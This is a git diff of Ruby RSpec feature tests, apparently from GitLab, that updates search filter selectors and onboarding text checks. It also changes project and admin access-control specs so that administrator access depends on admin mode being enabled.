index 9202d18b86f..3d4d9a7ea96 100644
--- a/spec/features/projects/user_views_empty_project_spec.rb
+++ b/spec/features/projects/user_views_empty_project_spec.rb
@@ -7,12 +7,9 @@ RSpec.describe 'User views an empty project' do
let(:user) { create(:user) }
shared_examples 'allowing push to default branch' do
- before do
- sign_in(user)
+ it 'shows push-to-master instructions' do
visit project_path(project)
- end
- it 'shows push-to-master instructions' do
expect(page).to have_content('git push -u origin master')
end
end
@@ -20,6 +17,7 @@ RSpec.describe 'User views an empty project' do
describe 'as a maintainer' do
before do
project.add_maintainer(user)
+ sign_in(user)
end
it_behaves_like 'allowing push to default branch'
@@ -28,17 +26,33 @@ RSpec.describe 'User views an empty project' do
describe 'as an admin' do
let(:user) { create(:user, :admin) }
- it_behaves_like 'allowing push to default branch'
+ context 'when admin mode is enabled' do
+ before do
+ sign_in(user)
+ gitlab_enable_admin_mode_sign_in(user)
+ end
+
+ it_behaves_like 'allowing push to default branch'
+ end
+
+ context 'when admin mode is disabled' do
+ it 'does not show push-to-master instructions' do
+ visit project_path(project)
+
+ expect(page).not_to have_content('git push -u origin master')
+ end
+ end
end
describe 'as a developer' do
before do
project.add_developer(user)
sign_in(user)
- visit project_path(project)
end
it 'does not show push-to-master instructions' do
+ visit project_path(project)
+
expect(page).not_to have_content('git push -u origin master')
end
end
diff --git a/spec/features/projects/wiki/user_git_access_wiki_page_spec.rb b/spec/features/projects/wiki/user_git_access_wiki_page_spec.rb
deleted file mode 100644
index 83679c6bd1d..00000000000
--- a/spec/features/projects/wiki/user_git_access_wiki_page_spec.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe 'Projects > Wiki > User views Git access wiki page' do
- let(:user) { create(:user) }
- let(:project) { create(:project, :wiki_repo, :public) }
- let(:wiki_page) { create(:wiki_page, wiki: project.wiki, title: 'home', content: '[some link](other-page)') }
-
- before do
- sign_in(user)
- end
-
- it 'Visit Wiki Page Current Commit' do
- visit project_wiki_path(project, wiki_page)
-
- click_link 'Clone repository'
- expect(page).to have_text("Clone repository #{project.wiki.full_path}")
- expect(page).to have_text(project.wiki.http_url_to_repo)
- end
-end
diff --git a/spec/features/projects/wikis_spec.rb b/spec/features/projects/wikis_spec.rb
index 1c66ad81145..621f8c71b20 100644
--- a/spec/features/projects/wikis_spec.rb
+++ b/spec/features/projects/wikis_spec.rb
@@ -17,4 +17,5 @@ RSpec.describe 'Project wikis' do
it_behaves_like 'User views a wiki page'
it_behaves_like 'User views wiki pages'
it_behaves_like 'User views wiki sidebar'
+ it_behaves_like 'User views Git access wiki page'
end
diff --git a/spec/features/projects_spec.rb b/spec/features/projects_spec.rb
index 9b5f4ca6d48..618a256d4fb 100644
--- a/spec/features/projects_spec.rb
+++ b/spec/features/projects_spec.rb
@@ -16,7 +16,7 @@ RSpec.describe 'Project' do
shared_examples 'creates from template' do |template, sub_template_tab = nil|
it "is created from template", :js do
- find('#create-from-template-tab').click
+ find('[data-qa-selector="create_from_template_link"]').click
find(".project-template #{sub_template_tab}").click if sub_template_tab
find("label[for=#{template.name}]").click
fill_in("project_name", with: template.name)
@@ -34,7 +34,7 @@ RSpec.describe 'Project' do
end
context 'create with sample data template' do
- it_behaves_like 'creates from template', Gitlab::SampleDataTemplate.find(:basic), '.sample-data-templates-tab'
+ it_behaves_like 'creates from template', Gitlab::SampleDataTemplate.find(:sample)
end
end
@@ -47,9 +47,7 @@ RSpec.describe 'Project' do
end
it 'shows the command in a popover', :js do
- page.within '.profile-settings-sidebar' do
- click_link 'Show command'
- end
+ click_link 'Show command'
expect(page).to have_css('.popover .push-to-create-popover #push_to_create_tip')
expect(page).to have_content 'Private projects can be created in your personal namespace with:'
@@ -61,7 +59,7 @@ RSpec.describe 'Project' do
let(:path) { project_path(project) }
before do
- sign_in(create(:admin))
+ sign_in(project.owner)
end
it 'parses Markdown' do
@@ -125,7 +123,7 @@ RSpec.describe 'Project' do
let(:path) { project_path(project) }
before do
- sign_in(create(:admin))
+ sign_in(project.owner)
visit path
end
@@ -156,7 +154,7 @@ RSpec.describe 'Project' do
let(:path) { project_path(project) }
before do
- sign_in(create(:admin))
+ sign_in(project.owner)
visit path
end
diff --git a/spec/features/protected_branches_spec.rb b/spec/features/protected_branches_spec.rb
index 3be01595502..95d268ab1be 100644
--- a/spec/features/protected_branches_spec.rb
+++ b/spec/features/protected_branches_spec.rb
@@ -73,6 +73,7 @@ RSpec.describe 'Protected Branches', :js do
context 'logged in as admin' do
before do
sign_in(admin)
+ gitlab_enable_admin_mode_sign_in(admin)
end
describe "explicit protected branches" do
diff --git a/spec/features/protected_tags_spec.rb b/spec/features/protected_tags_spec.rb
index 12e4bbde293..25447db3c8d 100644
--- a/spec/features/protected_tags_spec.rb
+++ b/spec/features/protected_tags_spec.rb
@@ -5,8 +5,8 @@ require 'spec_helper'
RSpec.describe 'Protected Tags', :js do
include ProtectedTagHelpers
- let(:user) { create(:user, :admin) }
let(:project) { create(:project, :repository) }
+ let(:user) { project.owner }
before do
sign_in(user)
diff --git a/spec/features/registrations/experience_level_spec.rb b/spec/features/registrations/experience_level_spec.rb
index 06d380926cd..25496e2fef1 100644
--- a/spec/features/registrations/experience_level_spec.rb
+++ b/spec/features/registrations/experience_level_spec.rb
@@ -9,7 +9,7 @@ RSpec.describe 'Experience level screen' do
before do
group.add_owner(user)
gitlab_sign_in(user)
- stub_experiment_for_user(onboarding_issues: true)
+ stub_experiment_for_subject(onboarding_issues: true)
visit users_sign_up_experience_level_path(namespace_path: group.to_param)
end
@@ -23,14 +23,14 @@ RSpec.describe 'Experience level screen' do
it 'shows the option for novice' do
is_expected.to have_content('Novice')
- is_expected.to have_content('I’m not very familiar with the basics of project management and DevOps')
- is_expected.to have_content('Show me everything')
+ is_expected.to have_content('I’m not familiar with the basics of DevOps')
+ is_expected.to have_content('Show me the basics')
end
it 'shows the option for experienced' do
is_expected.to have_content('Experienced')
- is_expected.to have_content('I’m familiar with the basics of project management and DevOps')
- is_expected.to have_content('Show me more advanced stuff')
+ is_expected.to have_content('I’m familiar with the basics of DevOps')
+ is_expected.to have_content('Show me advanced features')
end
it 'does not display any flash messages' do
diff --git a/spec/features/runners_spec.rb b/spec/features/runners_spec.rb
index 9697e10c3d1..5cddad81927 100644
--- a/spec/features/runners_spec.rb
+++ b/spec/features/runners_spec.rb
@@ -179,16 +179,32 @@ RSpec.describe 'Runners' do
context 'when a project has disabled shared_runners' do
let(:project) { create(:project, shared_runners_enabled: false) }
- before do
- project.add_maintainer(user)
+ context 'when feature flag: vueify_shared_runners_toggle is disabled' do
+ before do
+ stub_feature_flags(vueify_shared_runners_toggle: false)
+ project.add_maintainer(user)
+ end
+
+ it 'user enables shared runners' do
+ visit project_runners_path(project)
+
+ click_on 'Enable shared runners'
+
+ expect(page.find('.shared-runners-description')).to have_content('Disable shared runners')
+ expect(page).not_to have_selector('#toggle-shared-runners-form')
+ end
end
- it 'user enables shared runners' do
- visit project_runners_path(project)
+ context 'when feature flag: vueify_shared_runners_toggle is enabled' do
+ before do
+ project.add_maintainer(user)
+ end
- click_on 'Enable shared runners'
+ it 'user enables shared runners' do
+ visit project_runners_path(project)
- expect(page.find('.shared-runners-description')).to have_content('Disable shared runners')
+ expect(page).to have_selector('#toggle-shared-runners-form')
+ end
end
end
diff --git a/spec/features/search/user_searches_for_code_spec.rb b/spec/features/search/user_searches_for_code_spec.rb
index f761bd30baf..ee3717b3e42 100644
--- a/spec/features/search/user_searches_for_code_spec.rb
+++ b/spec/features/search/user_searches_for_code_spec.rb
@@ -27,8 +27,13 @@ RSpec.describe 'User searches for code' do
context 'when on a project page', :js do
before do
visit(search_path)
- find('.js-search-project-dropdown').click
- find('[data-testid="project-filter"]').click_link(project.full_name)
+ find('[data-testid="project-filter"]').click
+
+ wait_for_requests
+
+ page.within('[data-testid="project-filter"]') do
+ click_on(project.full_name)
+ end
end
include_examples 'top right search form'
diff --git a/spec/features/search/user_searches_for_issues_spec.rb b/spec/features/search/user_searches_for_issues_spec.rb
index e2ae2738d2f..e253b9f2f7a 100644
--- a/spec/features/search/user_searches_for_issues_spec.rb
+++ b/spec/features/search/user_searches_for_issues_spec.rb
@@ -85,8 +85,13 @@ RSpec.describe 'User searches for issues', :js do
context 'when on a project page' do
it 'finds an issue' do
- find('.js-search-project-dropdown').click
- find('[data-testid="project-filter"]').click_link(project.full_name)
+ find('[data-testid="project-filter"]').click
+
+ wait_for_requests
+
+ page.within('[data-testid="project-filter"]') do
+ click_on(project.full_name)
+ end
search_for_issue(issue1.title)
diff --git a/spec/features/search/user_searches_for_merge_requests_spec.rb b/spec/features/search/user_searches_for_merge_requests_spec.rb
index 6f8f6303b66..21e8075739f 100644
--- a/spec/features/search/user_searches_for_merge_requests_spec.rb
+++ b/spec/features/search/user_searches_for_merge_requests_spec.rb
@@ -30,8 +30,13 @@ RSpec.describe 'User searches for merge requests', :js do
context 'when on a project page' do
it 'finds a merge request' do
- find('.js-search-project-dropdown').click
- find('[data-testid="project-filter"]').click_link(project.full_name)
+ find('[data-testid="project-filter"]').click
+
+ wait_for_requests
+
+ page.within('[data-testid="project-filter"]') do
+ click_on(project.full_name)
+ end
fill_in('dashboard_search', with: merge_request1.title)
find('.btn-search').click
diff --git a/spec/features/search/user_searches_for_milestones_spec.rb b/spec/features/search/user_searches_for_milestones_spec.rb
index 1a2227db214..f4df91dbc08 100644
--- a/spec/features/search/user_searches_for_milestones_spec.rb
+++ b/spec/features/search/user_searches_for_milestones_spec.rb
@@ -30,8 +30,13 @@ RSpec.describe 'User searches for milestones', :js do
context 'when on a project page' do
it 'finds a milestone' do
- find('.js-search-project-dropdown').click
- find('[data-testid="project-filter"]').click_link(project.full_name)
+ find('[data-testid="project-filter"]').click
+
+ wait_for_requests
+
+ page.within('[data-testid="project-filter"]') do
+ click_on(project.full_name)
+ end
fill_in('dashboard_search', with: milestone1.title)
find('.btn-search').click
diff --git a/spec/features/search/user_searches_for_wiki_pages_spec.rb b/spec/features/search/user_searches_for_wiki_pages_spec.rb
index 6bf1407fd4f..72bd1193fc9 100644
--- a/spec/features/search/user_searches_for_wiki_pages_spec.rb
+++ b/spec/features/search/user_searches_for_wiki_pages_spec.rb
@@ -18,8 +18,13 @@ RSpec.describe 'User searches for wiki pages', :js do
shared_examples 'search wiki blobs' do
it 'finds a page' do
- find('.js-search-project-dropdown').click
- find('[data-testid="project-filter"]').click_link(project.full_name)
+ find('[data-testid="project-filter"]').click
+
+ wait_for_requests
+
+ page.within('[data-testid="project-filter"]') do
+ click_on(project.full_name)
+ end
fill_in('dashboard_search', with: search_term)
find('.btn-search').click
diff --git a/spec/features/search/user_uses_search_filters_spec.rb b/spec/features/search/user_uses_search_filters_spec.rb
index bd77e6003e3..86017ca64c5 100644
--- a/spec/features/search/user_uses_search_filters_spec.rb
+++ b/spec/features/search/user_uses_search_filters_spec.rb
@@ -28,13 +28,15 @@ RSpec.describe 'User uses search filters', :js do
expect(find('[data-testid="group-filter"]')).to have_content(group.name)
- page.within('[data-testid="project-filter"]') do
- find('.js-search-project-dropdown').click
+ find('[data-testid="project-filter"]').click
- wait_for_requests
+ wait_for_requests
- expect(page).to have_link(group_project.full_name)
+ page.within('[data-testid="project-filter"]') do
+ click_on(group_project.full_name)
end
+
+ expect(find('[data-testid="project-filter"]')).to have_content(group_project.full_name)
end
context 'when the group filter is set' do
@@ -58,15 +60,15 @@ RSpec.describe 'User uses search filters', :js do
it 'shows a project' do
visit search_path
- page.within('[data-testid="project-filter"]') do
- find('.js-search-project-dropdown').click
+ find('[data-testid="project-filter"]').click
- wait_for_requests
+ wait_for_requests
- click_link(project.full_name)
+ page.within('[data-testid="project-filter"]') do
+ click_on(project.full_name)
end
- expect(find('.js-search-project-dropdown')).to have_content(project.full_name)
+ expect(find('[data-testid="project-filter"]')).to have_content(project.full_name)
end
context 'when the project filter is set' do
@@ -78,10 +80,10 @@ RSpec.describe 'User uses search filters', :js do
describe 'clear filter button' do
it 'removes Project filters' do
- link = find('[data-testid="project-filter"] .js-search-clear')
- params = CGI.parse(URI.parse(link[:href]).query)
+ find('[data-testid="project-filter"] [data-testid="clear-icon"]').click
+ wait_for_requests
- expect(params).not_to include(:project_id)
+ expect(page).to have_current_path(search_path(search: "test"))
end
end
end
diff --git a/spec/features/security/admin_access_spec.rb b/spec/features/security/admin_access_spec.rb
index 38f00f399f3..8070ae066e7 100644
--- a/spec/features/security/admin_access_spec.rb
+++ b/spec/features/security/admin_access_spec.rb
@@ -8,7 +8,14 @@ RSpec.describe "Admin::Projects" do
describe "GET /admin/projects" do
subject { admin_projects_path }
- it { is_expected.to be_allowed_for :admin }
+ context 'when admin mode is enabled', :enable_admin_mode do
+ it { is_expected.to be_allowed_for :admin }
+ end
+
+ context 'when admin mode is disabled' do
+ it { is_expected.to be_denied_for :admin }
+ end
+
it { is_expected.to be_denied_for :user }
it { is_expected.to be_denied_for :visitor }
end
@@ -16,7 +23,14 @@ RSpec.describe "Admin::Projects" do
describe "GET /admin/users" do
subject { admin_users_path }
- it { is_expected.to be_allowed_for :admin }
+ context 'when admin mode is enabled', :enable_admin_mode do
+ it { is_expected.to be_allowed_for :admin }
+ end
+
+ context 'when admin mode is disabled' do
+ it { is_expected.to be_denied_for :admin }
+ end
+
it { is_expected.to be_denied_for :user }
it { is_expected.to be_denied_for :visitor }
end
@@ -24,7 +38,14 @@ RSpec.describe "Admin::Projects" do
describe "GET /admin/hooks" do
subject { admin_hooks_path }
- it { is_expected.to be_allowed_for :admin }
+ context 'when admin mode is enabled', :enable_admin_mode do
+ it { is_expected.to be_allowed_for :admin }
+ end
+
+ context 'when admin mode is disabled' do
+ it { is_expected.to be_denied_for :admin }
+ end
+
it { is_expected.to be_denied_for :user }
it { is_expected.to be_denied_for :visitor }
end
diff --git a/spec/features/security/project/internal_access_spec.rb b/spec/features/security/project/internal_access_spec.rb
index 051bd601c1d..cb9f9a6e680 100644
--- a/spec/features/security/project/internal_access_spec.rb
+++ b/spec/features/security/project/internal_access_spec.rb
@@ -102,7 +102,8 @@ RSpec.describe "Internal Project Access" do
describe "GET /:project_path/-/settings/ci_cd" do
subject { project_settings_ci_cd_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_denied_for(:developer).of(project) }
@@ -116,7 +117,8 @@ RSpec.describe "Internal Project Access" do
describe "GET /:project_path/-/settings/repository" do
subject { project_settings_repository_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_denied_for(:developer).of(project) }
@@ -146,7 +148,8 @@ RSpec.describe "Internal Project Access" do
describe "GET /:project_path/edit" do
subject { edit_project_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_denied_for(:developer).of(project) }
@@ -160,7 +163,8 @@ RSpec.describe "Internal Project Access" do
describe "GET /:project_path/deploy_keys" do
subject { project_deploy_keys_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_denied_for(:developer).of(project) }
@@ -190,7 +194,8 @@ RSpec.describe "Internal Project Access" do
subject { edit_project_issue_path(project, issue) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -218,7 +223,8 @@ RSpec.describe "Internal Project Access" do
describe "GET /:project_path/snippets/new" do
subject { new_project_snippet_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -246,7 +252,8 @@ RSpec.describe "Internal Project Access" do
describe "GET /:project_path/-/merge_requests/new" do
subject { project_new_merge_request_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -302,7 +309,8 @@ RSpec.describe "Internal Project Access" do
describe "GET /:project_path/-/settings/integrations" do
subject { project_settings_integrations_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_denied_for(:developer).of(project) }
@@ -367,7 +375,8 @@ RSpec.describe "Internal Project Access" do
project.update(public_builds: false)
end
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -406,7 +415,8 @@ RSpec.describe "Internal Project Access" do
project.update(public_builds: false)
end
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -445,7 +455,8 @@ RSpec.describe "Internal Project Access" do
project.update(public_builds: false)
end
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -460,7 +471,8 @@ RSpec.describe "Internal Project Access" do
describe "GET /:project_path/pipeline_schedules" do
subject { project_pipeline_schedules_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is disabled') { is_expected.to be_allowed_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -474,7 +486,8 @@ RSpec.describe "Internal Project Access" do
describe "GET /:project_path/-/environments" do
subject { project_environments_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is disabled') { is_expected.to be_allowed_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -490,7 +503,8 @@ RSpec.describe "Internal Project Access" do
subject { project_environment_path(project, environment) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is disabled') { is_expected.to be_allowed_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -506,7 +520,8 @@ RSpec.describe "Internal Project Access" do
subject { project_environment_deployments_path(project, environment) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is disabled') { is_expected.to be_allowed_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -520,7 +535,8 @@ RSpec.describe "Internal Project Access" do
describe "GET /:project_path/-/environments/new" do
subject { new_project_environment_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
diff --git a/spec/features/security/project/private_access_spec.rb b/spec/features/security/project/private_access_spec.rb
index e891e79db70..dda218c5de5 100644
--- a/spec/features/security/project/private_access_spec.rb
+++ b/spec/features/security/project/private_access_spec.rb
@@ -18,7 +18,8 @@ RSpec.describe "Private Project Access" do
describe "GET /:project_path" do
subject { project_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -32,7 +33,8 @@ RSpec.describe "Private Project Access" do
describe "GET /:project_path/-/tree/master" do
subject { project_tree_path(project, project.repository.root_ref) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -46,7 +48,8 @@ RSpec.describe "Private Project Access" do
describe "GET /:project_path/-/commits/master" do
subject { project_commits_path(project, project.repository.root_ref, limit: 1) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -60,7 +63,8 @@ RSpec.describe "Private Project Access" do
describe "GET /:project_path/-/commit/:sha" do
subject { project_commit_path(project, project.repository.commit) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -74,7 +78,8 @@ RSpec.describe "Private Project Access" do
describe "GET /:project_path/-/compare" do
subject { project_compare_index_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -88,7 +93,8 @@ RSpec.describe "Private Project Access" do
describe "GET /:project_path/-/project_members" do
subject { project_project_members_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -102,7 +108,8 @@ RSpec.describe "Private Project Access" do
describe "GET /:project_path/-/settings/ci_cd" do
subject { project_settings_ci_cd_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_denied_for(:developer).of(project) }
@@ -116,7 +123,8 @@ RSpec.describe "Private Project Access" do
describe "GET /:project_path/-/settings/repository" do
subject { project_settings_repository_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_denied_for(:developer).of(project) }
@@ -132,7 +140,8 @@ RSpec.describe "Private Project Access" do
subject { project_blob_path(project, File.join(commit.id, '.gitignore')) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -146,7 +155,8 @@ RSpec.describe "Private Project Access" do
describe "GET /:project_path/edit" do
subject { edit_project_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_denied_for(:developer).of(project) }
@@ -160,7 +170,8 @@ RSpec.describe "Private Project Access" do
describe "GET /:project_path/deploy_keys" do
subject { project_deploy_keys_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_denied_for(:developer).of(project) }
@@ -174,7 +185,8 @@ RSpec.describe "Private Project Access" do
describe "GET /:project_path/issues" do
subject { project_issues_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -190,7 +202,8 @@ RSpec.describe "Private Project Access" do
subject { edit_project_issue_path(project, issue) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
it { is_expected.to be_allowed_for(:maintainer).of(project) }
it { is_expected.to be_allowed_for(:developer).of(project) }
@@ -204,7 +217,8 @@ RSpec.describe "Private Project Access" do
describe "GET /:project_path/snippets" do
subject { project_snippets_path(project) }
- it { is_expected.to be_allowed_for(:admin) }
+ it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
+ it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
it { is_expected.to be_allowed_for(:owner).of(project) }
